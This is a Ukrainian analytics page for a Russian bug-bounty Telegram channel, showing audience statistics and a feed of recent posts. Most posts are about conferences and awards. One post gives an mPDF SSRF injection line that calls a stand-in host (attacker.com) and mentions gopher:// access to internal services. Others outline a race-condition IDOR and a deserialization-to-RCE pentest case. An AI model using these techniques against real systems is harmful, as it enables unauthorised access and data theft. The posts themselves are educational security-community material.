SHADOW:Group

Відкрити в Telegram

Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn

Росія56 009 Технології та додатки10 519...

📈 Аналітичний огляд Telegram-каналу SHADOW:Group

Канал SHADOW:Group (@shadow_group_tg) у мовному сегменті Російська є активним учасником. На даний момент спільнота об'єднує 11 481 підписників, посідаючи 10 519 місце в категорії Технології та додатки та 56 009 місце у регіоні Росія.

📊 Показники аудиторії та динаміка

З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 11 481 підписників.

За останніми даними від 03 вересня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на -18, а за останні 24 години на 1, загальне охоплення залишається високим.

Статус верифікації: Не верифікований
Рівень залученості (ER): Середній показник залученості аудиторії становить 24.81%. Протягом перших 24 годин після публікації контент зазвичай збирає 9.43% реакцій від загальної кількості підписників.
Охоплення публікацій: В середньому кожен допис отримує 2 849 переглядів. Протягом першої доби публікація в середньому набирає 1 083 переглядів.
Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 34.
Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як middleware, http/1.1, bounty, api, host.

📝 Опис та контентна політика

Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“Чат: @shadow_chat_tg Рекламу не размещаю. Админ - @shdwpwn”

Завдяки високій частоті оновлень (останні дані отримано 04 вересня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.

11 481

Підписники

+124 години

-127 днів

-1830 днів

2 849

Перегляди допису

~ 1 08324 години

~ 1 40148 годин

24.81%

Коефіцієнт залучення

Немає даних

Дописів на день

Ads index

beta

Триває завантаження даних...

Схожі канали

Більше каналів

Вхідні та вихідні згадування

---

Залучення підписників

вересень '26

в 0 каналах

серпень '26

+48

в 0 каналах

Get PRO

липень '26

+96

в 0 каналах

Get PRO

червень '26

+41

в 1 каналах

Get PRO

травень '26

+73

в 0 каналах

Get PRO

квітень '26

+60

в 0 каналах

Get PRO

березень '26

+38

в 2 каналах

Get PRO

лютий '26

+54

в 0 каналах

Get PRO

січень '26

+58

в 0 каналах

Get PRO

грудень '25

+52

в 2 каналах

Get PRO

листопад '25

+53

в 0 каналах

Get PRO

жовтень '25

+92

в 4 каналах

Get PRO

вересень '25

+41

в 0 каналах

Get PRO

серпень '25

+176

в 3 каналах

Get PRO

липень '25

+51

в 2 каналах

Get PRO

червень '25

+55

в 0 каналах

Get PRO

травень '25

+69

в 6 каналах

Get PRO

квітень '25

+177

в 0 каналах

Get PRO

березень '25

+124

в 4 каналах

Get PRO

лютий '25

+113

в 7 каналах

Get PRO

січень '25

+91

в 3 каналах

Get PRO

грудень '24

+80

в 1 каналах

Get PRO

листопад '24

+116

в 2 каналах

Get PRO

жовтень '24

+115

в 4 каналах

Get PRO

вересень '24

+235

в 4 каналах

Get PRO

серпень '24

+324

в 1 каналах

Get PRO

липень '24

+341

в 5 каналах

Get PRO

червень '24

+381

в 14 каналах

Get PRO

травень '24

+325

в 4 каналах

Get PRO

квітень '24

+336

в 7 каналах

Get PRO

березень '24

+390

в 2 каналах

Get PRO

лютий '24

+559

в 8 каналах

Get PRO

січень '24

+427

в 8 каналах

Get PRO

грудень '23

+389

в 5 каналах

Get PRO

листопад '23

+121

в 0 каналах

Get PRO

жовтень '23

+173

в 3 каналах

Get PRO

вересень '23

+282

в 0 каналах

Get PRO

серпень '23

+231

в 0 каналах

Get PRO

липень '23

+158

в 0 каналах

Get PRO

червень '23

+155

в 0 каналах

Get PRO

травень '23

+439

в 0 каналах

Get PRO

квітень '23

+212

в 0 каналах

Get PRO

березень '23

+131

в 0 каналах

Get PRO

лютий '23

+72

в 0 каналах

Get PRO

січень '23

+312

в 0 каналах

Get PRO

грудень '22

+120

в 0 каналах

Get PRO

листопад '22

+156

в 0 каналах

Get PRO

жовтень '22

+567

в 0 каналах

Get PRO

вересень '22

+736

в 0 каналах

Get PRO

серпень '22

+267

в 0 каналах

Get PRO

липень '22

+383

в 0 каналах

Get PRO

червень '22

+143

в 0 каналах

Get PRO

травень '22

+199

в 0 каналах

Get PRO

квітень '22

+358

в 0 каналах

Get PRO

березень '22

+1 205

в 0 каналах

Get PRO

лютий '22

+88

в 0 каналах

Get PRO

січень '22

+181

в 0 каналах

Get PRO

грудень '21

+211

в 0 каналах

Get PRO

листопад '21

+1 106

в 0 каналах

Get PRO

жовтень '21

+291

в 0 каналах

Get PRO

вересень '21

+1 218

в 0 каналах

Get PRO

серпень '21

+799

в 0 каналах

Get PRO

липень '21

+137

в 0 каналах

Get PRO

червень '21

+256

в 0 каналах

Get PRO

травень '21

+250

в 0 каналах

Get PRO

квітень '21

+258

в 0 каналах

Get PRO

березень '21

+261

в 0 каналах

Get PRO

лютий '21

+392

в 0 каналах

Get PRO

січень '21

+1 112

в 0 каналах

Дата	Залучення підписників	Згадування	Канали
04 вересня	0
03 вересня	+1
02 вересня	+1
01 вересня	0

Дописи каналу

Repost from Backconnect

Разбор как нашлась CVE-2026-18963: Keycloak reset-credentials flow ATO https://www.pruva.dev/reproductions/REPRO-2026-00337#artifacts Нуклей шаблон для проверки https://github.com/projectdiscovery/nuclei-templates/pull/16995/files ____ 🤓 backconnect

2	Объявлены результаты конкурса Pentest Awards 2026! И мы постепенно будем публиковать интересные кейсы, с которыми наши эксперты участвовали в этом конкурсе. Первым поздравляем Виктора Зварыкина: он уже второй год подряд забирает медаль "фаворит года по версии жюри". Вот что говорит сам автор о своём призовом кейсе: "Глубина — история о том, почему в информационной безопасности недостаточно просто запустить готовый инструмент и получить результат. Главный герой находит уязвимость в реальной системе, но довольно быстро понимает, что успешный взлом — это только начало. Вместе с более опытным другом он начинает разбираться, как устроена система и почему возможна эксплуатация этого вектора. Весь рассказ погружён в атмосферу цикла произведений "Глубина" Сергея Лукьяненко, где цифровой мир становится почти настоящим." Суть кейса кратко: Работы по анализу защищённости проходили в крупной иностранной компании, одной из главных задач пентеста было пробитие внешнего периметра. На этапе OSINT-разведки был обнаружен веб-интерфейс IIS (Internet Information Services), в котором часто встречается уязвимость чтения имен файлов и директорий в legacy-формате 8.3. Вследствие этого был обнаружен эндпоинт с неизвестным веб-сервисом, войти в который получилось благодаря нативно используемым учетным данным. Разобравшись с функциональностью приложения, наши герои выявили, что в одном из запросов информация передавалась как .NET-сериализованный объект, использовавший небезопасный сериализатор BinaryFormatter. Успешная эксплуатация привела к RCE через DNS-эксфильтрацию. Как избежать подобных атак: (1) Параметр реестра NtfsDisable8dot3NameCreation используется для управления созданием коротких имен файлов (в формате 8.3) на томах NTFS в операционных системах Windows. Этот параметр важен для обеспечения совместимости со старыми приложениями, использующими соглашение об именовании файлов 8.3, однако он также может влиять на производительность и безопасность. Чтобы устранить уязвимость, нужно поменять значение параметра NtfsDisable8dot3NameCreation на 1. Путь к нему: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation Перед изменением значения необходимо проверить функционал работающих сервисов, чтобы не нарушить работу legacy-приложений. (2) Полностью откажитесь от BinaryFormatter: его крайне сложно безопасно настроить или защитить фильтрацией. Используйте современные сериализаторы — например, System.Text.Json, а принимаемые данные проверяйте по заранее определённой структуре и разрешённым типам. Для компактного бинарного формата Microsoft рекомендует MessagePack или protobuf-net; для XML — DataContractSerializer. Начиная с .NET 9 встроенная реализация BinaryFormatter уже отключена. (3) Используйте сложные и несловарные пароли для аутентификации в веб-сервисы. Полную версию кейса Виктора в стиле "Глубины" читайте в нашем гитхабе.	1 680
3	Постов не будет, админ ушел сниматься в рилсах…	2 416
4	+2 В этом году Pentest Award прошел в атмосфере роскоши, с шикарным видом на набережную и город. Удалось пообщаться с сильными профессионалами и послушать несколько кулстори из их практики. Ну и естественно узнать немного инсайдов непосредственно от победителей. Кстати, итоги церемонии можете глянуть на Хабре. Многие вроде как планируют опубликовать свои работы на хакере, так что в скором времени вы и сами с ними ознакомитесь, там действительно есть уникальные материалы. Отдельное спасибо @poopsa_liza за приглашение и организацию, все прошло отлично. Кому интересно глянуть фоточки они есть тут, а также есть запись трансляции с самого награждения.	3 779
5	ТБанк вместо одной кнопки "Бабло", прислал сразу три. Осталось переписать скрипт, чтобы сразу Claude запускался.	2 342
6	Відеоповідомлення	2 347
7	Если вы, как и я, откладывали статью до последнего, то пора отправлять.	4 027
8	Вокруг все такие молодые, красивые, богатые и успешные, поэтому призываю вас подать свою заявку на OFFZONE, чтобы рассказать, как стать таким же.	4 517
9	В эту пятницу планирую посетить конференцию Периметр от Metascan'a и вечером на оффлайн часть Bugs Zone. Если будет кто из подписчиков и знакомых, пишите, буду рад пообщаться 👀	2 343
10	Race Condition одна из тех уязвимостей, которая порой позволяет находить баги там, где их совсем не ждешь. И иногда, чтобы получить какой-нибудь IDOR, достаточно очень много раз попросить об этом приложение. В кейсе на скрине, как раз такой случай. При указании чужого id получаем ошибку, однако, если запустить intruder и подождать несколько тысяч запросов, сервер внезапно начинает отдавать нам чужие ПД. #web #race #idor	4 139
11	Стартовал прием заявок на Pentest Award 2026 и в этом году появилась новая номинация - AI. Думаю, за последний год у многих есть что сказать по этой теме. Остальные номинации также на месте: Kill Chain, Системный взлом (Web & Logic), Device и Out of Scope. Среди призов стандартно респект от комьюнити и техника Apple. Заявки принимают до 12 июля, а церемония награждения пройдет 14 августа в мск. https://t.me/justsecurity/441	3 293
12	🪲 Топовый мерч, две недели закрытого скоупа, ламповая афтепати-вечеринка… Все это ждет вас на нашем любимом приватном ивенте — BUGS ZONE 7.0. Приглашения, как обычно, отправим багхантерам с лучшими результатами за сезон. 🔵Старт хантинга — 15 апреля. 🔵Церемония и афтепати — 22 мая в Москве. Попасть на ивент может каждый. Сдавайте отчеты на нашей платформе и качайте рейтинг — мы обязательно заметим самых активных. Скоро поделимся подробностями. Следите за апдейтами!	3 244
13	У mPDF есть интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с @import url(...), он делает внешний запрос, даже если HTML полностью экранирован htmlentities() и даже без <style>. Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить: @import url(https://attacker.com/test?.css) и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы. Вендор же официально заявил, что это не баг, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках. #web #ssrf #pdf	4 021
14	Искал тут что посмотреть под еду на ютубе, и реки вывели мне сей шедевр. Прекрасно все, начиная с кулстори самого проекта, который форсили во многих изданиях, заканчивая сайтом на пыхе с паролями юзеров в открытом виде. https://www.youtube.com/watch?v=HGbP2ibfm8k	4 015
15	Иногда, когда читаешь раскрытый репорт или статью на Medium об уязвимости в багбаунти, хочется потрогать это руками и заложить у себя в навыках ту или иную багу немного глубже.😵‍💫 Так вот, в итоге из этой мысли я сделал: https://labs.hackadvisor.io/ Все машинки собраны из публичных репортов и статей ресерчеров. Сейчас можно разворачивать стенд, решать задачи, получать подсказки и разбор уязвимости по итогу. Буду потихоньку пилить интересные машинки из раскрытых отчётов — надеюсь, вы тоже закинете что-то интересное: оно обязательно появится. Сразу дисклеймер: у меня пока небольшой опыт в создании таких заданий, так что где-то может быть шероховато. Но со временем буду делать лучше — и сами задания, и их подачу — и добавлять больше интересных сценариев. В целом Labs — это всего лишь MVP и первый этап будущей полноценной экосистемы HackAdvisor, которая, как и всё для сообщества, совершенно бесплатна. Всех обнял, жду фидбек, баги и фича-реквесты🙌🏻 Ну и, пожалуйста, не ломайте сам Labs (даже если очень хочется) — пока там всё очень хрупко 🫠	3 306
16	Захват аккаунта через telegram-бот: от своего номера к чужому профилю Всего пять минут ожидания, один чужой номер телефона и обычная кнопка для получения ссылки — этого оказалось достаточно, чтобы обнаружить критическую уязвимость. Настолько минимальный сценарий неожиданно вскрыл проблему в логике обработки данных. Читать 👉 https://blog.deteact.ru/account-takeover-thru-telegram-bot/	3 360
17	Друзья, поздравляю вас с наступающим Новым годом 🎄 Пусть он принесёт больше спокойствия, уверенности в себе и своих идеях, новых положительных эмоций и ощущения, что вы идёте в правильном направлении. Желаю интересных и результативных находок, роста там, где вам действительно важно, и достижения новых высот. Постарайтесь отдохнуть в эти праздники и набраться сил. Пусть в новом году всё станет хотя бы немного лучше, чем в прошлом. Спасибо, что вы здесь. Увидимся в 2026 ❤️	3 543
18	кстати, это я) узнали? согласны?	3 216
19	Вот с таким интересным принтом получил футболку от ребят из BI.ZONE Bug Bounty. Говорят, если присмотреться, то можно увидеть на нем множество знакомых лиц из багбаунти сообщества. Я узнал примерно половину)	3 187
20	Недавно занял 2 место в приватном ивенте от ТБанка. Ребята порадовали интересным скоупом и достойными выплатами за что им большой респект 😎	3 975

Переглянути всі дописи